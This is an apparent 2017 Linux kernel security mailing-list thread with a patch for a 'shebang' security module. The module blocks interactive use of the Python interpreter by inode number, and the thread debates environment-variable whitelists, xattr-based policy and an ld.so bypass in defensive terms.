On 12/06/2017 16:27, Mimi Zohar wrote: > On Sun, 2017-06-11 at 22:32 -0400, Mimi Zohar wrote: >> On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote: > >>> Using filesystem xattr seems like a good idea for this kind of >>> exceptions and instead of a hardcoded interpreter path. Something like >>> "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) >>> and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to >>> configure a security policy for some binaries. This could also be >>> protected by IMA/EVM, if needed. >> >> Checking for the existence of an xattr without caching is relatively >> slow. I'm not sure that we would want to go this route. > > For identifying interpreters, xattrs would be too slow (without > caching results), but once identified, using xattrs as you suggested, > for specifying how interpreters can be invoked and limiting > environment variables, is a good idea. Perhaps the two xattrs could > be combined? Yes, caching results is definitely interesting. I think using one variable per usage is cleaner, though.
On 6/13/2017 1:59 PM, Mickaël Salaün wrote: > On 12/06/2017 04:32, Mimi Zohar wrote: >> On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote: >>> On 10/06/2017 07:27, Tetsuo Handa wrote: >>>> Kees Cook wrote: >>>>> On Fri, Jun 9, 2017 at 10:23 AM, Matt Brown <matt@nmatt.com> wrote: >>>>>> what does everyone thing about a envp_blacklist option that is a list of >>>>>> environmental variables that will be stripped from exec calls. This can >>>>>> be done in the LSM hook bprm_check_security. >>>>>> >>>>>> Is there any reason on a hardened system why you would need the >>>>>> PYTHONINSPECT environmental variable? >>>>> As part of shebang, it likely makes sense to whitelist (rather than >>>>> blacklist) the env of the restricted interpreters. Though this is >>>>> starting to get complex. :P >>>> Blacklisting environment variables is dangerous. I think that >>>> administrators can afford whitelisting environment variable names. >>>> I think that implementing whitelist of environment variable names >>>> as an independent LSM module would be fine. >>>> >>>> While it is true that things starts getting complex if we check environment >>>> variables, shebang will already become complex if it starts worrying about >>>> updating inode number list in order to close the race window between doing >>>> creat()+write()+close()+chmod()+rename() by the package manager and teaching >>>> the kernel the new inode number determined by creat(). We will need an >>>> interface for allowing the package manager to teach the kernel the new inode >>>> number and modification of the package manager, for the kernel side is doing >>>> inode number based blacklisting while user side can execute it before rename(). >> I don't think we're trying to protect against executing the >> interpreter prior to the rename. Rename, itself, would trigger >> associating the interpreter name with an inode number. >> >>>> -- >>>> To unsubscribe from this list: send the line "unsubscribe linux-security-module" in >>>> the body of a message to majordomo@vger.kernel.org >>>> More majordomo info at http://vger.kernel.org/majordomo-info.html >>>> >>> Using filesystem xattr seems like a good idea for this kind of >>> exceptions and instead of a hardcoded interpreter path. Something like >>> "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) >>> and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to >>> configure a security policy for some binaries. This could also be >>> protected by IMA/EVM, if needed. >> Checking for the existence of an xattr without caching is relatively >> slow. I'm not sure that we would want to go this route. >> >>> This kind of xattr should be writable by the owner of the file. The TPE >>> LSM [1] could then take these xattr into account according to the TPE >>> policy. >> Security xattrs are only writable by root. > This is currently the case but an exception for this kind of LSM could > be allowed, or another dedicated prefix could be used. Better yet, use "user.tpe.whatever" and explicitly look for that in your xattr hooks, denying access based on whatever criteria you like. You could allow it to be set, but never deleted, for example. You can do it all within shebang without creating exceptions or new prefixes. -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On Mon, 12 Jun 2017 10:27:24 -0400 Mimi Zohar <zohar@linux.vnet.ibm.com> wrote: > On Sun, 2017-06-11 at 22:32 -0400, Mimi Zohar wrote: > > On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote: > > > > Using filesystem xattr seems like a good idea for this kind of > > > exceptions and instead of a hardcoded interpreter path. Something like > > > "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) > > > and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to > > > configure a security policy for some binaries. This could also be > > > protected by IMA/EVM, if needed. > > > > Checking for the existence of an xattr without caching is relatively > > slow. I'm not sure that we would want to go this route. > > For identifying interpreters, xattrs would be too slow (without > caching results), but once identified, using xattrs as you suggested, > for specifying how interpreters can be invoked and limiting > environment variables, is a good idea. Perhaps the two xattrs could > be combined? It's not just #! you need to cover. If I can run ld.so for my arch format then ld.so will helpfully let me load any ELF binary I like and run it. Alan -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
On Wed, Jun 14, 2017 at 10:10 AM, Alan Cox <gnomes@lxorguk.ukuu.org.uk> wrote: > > On Mon, 12 Jun 2017 10:27:24 -0400 > Mimi Zohar <zohar@linux.vnet.ibm.com> wrote: > > > On Sun, 2017-06-11 at 22:32 -0400, Mimi Zohar wrote: > > > On Sun, 2017-06-11 at 13:44 +0200, Mickaël Salaün wrote: > > > > > > Using filesystem xattr seems like a good idea for this kind of > > > > exceptions and instead of a hardcoded interpreter path. Something like > > > > "security.tpe.interpreter=1|2" (bitmask for interpreter-only and/or CLI) > > > > and "security.tpe.environment=HOME,LOGNAME" would be quite flexible to > > > > configure a security policy for some binaries. This could also be > > > > protected by IMA/EVM, if needed. > > > > > > Checking for the existence of an xattr without caching is relatively > > > slow. I'm not sure that we would want to go this route. > > > > For identifying interpreters, xattrs would be too slow (without > > caching results), but once identified, using xattrs as you suggested, > > for specifying how interpreters can be invoked and limiting > > environment variables, is a good idea. Perhaps the two xattrs could > > be combined? > > It's not just #! you need to cover. If I can run ld.so for my arch format > then ld.so will helpfully let me load any ELF binary I like and run it. > > Alan That depends on the threat model. Interpreted payloads are beneficial to attackers for their light forensic footprint along with implicit code-gen needs/powers - they dont require writing files to disk in order to affect their goals (staging is implicitly handled by the runtime, and behavior is tough to track). Anything going to disk is subject to forensic recovery, malware analysis, and a host of other concerns nobody wants to deal with when trying to compromise things quietly. While attackers can abuse the linker to their heart's content under certain contexts, they generally need to write files to disk in a place where the linker can get to them, leaving more footprints or being deterred altogether. At the payload delivery stage, remote attackers are effectively blind and unlikely to know if their exploit failed or the payload execution was mitigated. It has real world value. To go along with the notion of "perfect can be the enemy of good" (please pardon the likely incorrect paraphrasing, second language and all), rejecting a protection which offers coverage for a subset of potential vectors, because it does not provide coverage for others, leads to dead code and open holes. Is it feasible to adopt protections which cover specific threat models with annotations on what they may leave open such as to cover those areas in later commits? This would also allow common work to be converged, such as LSM code dealing with mprotect issues, path resolution as a security validator, etc. -Boris -- To unsubscribe from this list: send the line "unsubscribe linux-security-module" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html
diff --git a/security/Kconfig b/security/Kconfig index bdcbb92927ab..4453299c430e 100644 --- a/security/Kconfig +++ b/security/Kconfig @@ -195,6 +195,7 @@ source security/tomoyo/Kconfig source security/apparmor/Kconfig source security/loadpin/Kconfig source security/yama/Kconfig +source security/shebang/Kconfig source security/integrity/Kconfig diff --git a/security/Makefile b/security/Makefile index f2d71cdb8e19..00a8dbebb07f 100644 --- a/security/Makefile +++ b/security/Makefile @@ -9,6 +9,7 @@ subdir-$(CONFIG_SECURITY_TOMOYO) += tomoyo subdir-$(CONFIG_SECURITY_APPARMOR) += apparmor subdir-$(CONFIG_SECURITY_YAMA) += yama subdir-$(CONFIG_SECURITY_LOADPIN) += loadpin +subdir-$(CONFIG_SECURITY_SHEBANG) += shebang # always enable default capabilities obj-y += commoncap.o @@ -24,6 +25,7 @@ obj-$(CONFIG_SECURITY_TOMOYO) += tomoyo/ obj-$(CONFIG_SECURITY_APPARMOR) += apparmor/ obj-$(CONFIG_SECURITY_YAMA) += yama/ obj-$(CONFIG_SECURITY_LOADPIN) += loadpin/ +obj-$(CONFIG_SECURITY_SHEBANG) += shebang/ obj-$(CONFIG_CGROUP_DEVICE) += device_cgroup.o # Object integrity file lists diff --git a/security/shebang/Kconfig b/security/shebang/Kconfig new file mode 100644 index 000000000000..1b977b266413 --- /dev/null +++ b/security/shebang/Kconfig @@ -0,0 +1,16 @@ +config SECURITY_SHEBANG + bool "Restrict python interactive prompt/interpreter" + depends on SECURITY + help + Restrict python so that python scripts are allowed to execute, + while the interactive prompt/interpreter is not available. When + used in conjunction with an IMA appraise policy requiring files + signatures, only signed scripts will be executed. + +config SECURITY_SHEBANG_PATHNAME + string "interactive prompt/interpreter pathname" + depends on SECURITY_SHEBANG + default "/usr/bin/python2, /usr/bin/python3" + help + This option defines a blank/comma delimited list of + interpreter pathnames. diff --git a/security/shebang/Makefile b/security/shebang/Makefile new file mode 100644 index 000000000000..f1b83dcb96d1 --- /dev/null +++ b/security/shebang/Makefile @@ -0,0 +1,3 @@ +obj-$(CONFIG_SECURITY_SHEBANG) += shebang.o + +shebang-y := shebang_python.o diff --git a/security/shebang/shebang_python.c b/security/shebang/shebang_python.c new file mode 100644 index 000000000000..6f98cce38ea4 --- /dev/null +++ b/security/shebang/shebang_python.c @@ -0,0 +1,117 @@ +/* + * shebang security module + * + * Copyright (C) 2017 IBM Corporation + * + * Authors: + * Mimi Zohar <zohar@linux.vnet.ibm.com> + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + */ + +#define pr_fmt(fmt) "shebang: " fmt + +#include <linux/module.h> +#include <linux/binfmts.h> +#include <linux/namei.h> +#include <linux/lsm_hooks.h> + +static int initialized; + +#define MAX_INODES 6 +static char *pathnames; +static int pathnames_len; +static unsigned long inode_list[MAX_INODES]; +static int total; + +/* + * Get the inodes associated with the list of pathnames, as specified + * on CONFIG_SECURITY_SHEBANG_PATHNAME. + */ +static void init_inode_list(void) +{ + char *tmp_pathnames = pathnames; + char *p; + struct path path; + int i; + int ret; + + total = 0; + while ((p = strsep(&tmp_pathnames, " ,")) != NULL) { + if ((*p == '\0') || (*p == ' ') || (*p == ',')) + continue; + + if (total > MAX_INODES - 1) { + pr_info("too many interpreters\n"); + break; + } + + ret = kern_path(p, LOOKUP_FOLLOW, &path); + if (!ret) { + struct inode *inode = d_backing_inode(path.dentry); + + inode_list[total] = inode->i_ino; + pr_info("pathname:%s i_ino: %lu\n", + p, inode_list[total]); + initialized = 1; + total++; + } + } + + /* cleanup in case we need to lookup the inodes again. */ + tmp_pathnames = pathnames; + for (i = 0; i < pathnames_len; i++) + if (tmp_pathnames[i] == '\0') + tmp_pathnames[i] = ' '; +} + +/** + * shebang_bprm_check - prevent python interactive prompt/interpreter + * @bprm: contains the linux_binprm structure + * + * Restrict python such that scripts are allowed to execute, while the + * interactive prompt/interpreter is not available. + */ +static int shebang_bprm_check(struct linux_binprm *bprm) +{ + struct inode *inode = file_inode(bprm->file); + int i = 0; + + if (bprm->interp != bprm->filename) /* allow scripts */ + return 0; + + if (!initialized) + init_inode_list(); + + while (i < total) { + if (inode_list[i++] != inode->i_ino) + continue; + + pr_info("prevent executing %s (ino=%lu)\n", + bprm->interp, inode->i_ino); + return -EPERM; + } + return 0; +} + +static struct security_hook_list shebang_hooks[] = { + LSM_HOOK_INIT(bprm_check_security, shebang_bprm_check) +}; + +static int __init init_shebang(void) +{ + pathnames = kstrdup(CONFIG_SECURITY_SHEBANG_PATHNAME, GFP_KERNEL); + if (!pathnames) + return -ENOMEM; + pathnames_len = strlen(pathnames); + + security_add_hooks(shebang_hooks, ARRAY_SIZE(shebang_hooks), "shebang"); + pr_info("initialized\n"); + return 0; +} + +late_initcall(init_shebang); +MODULE_LICENSE("GPL");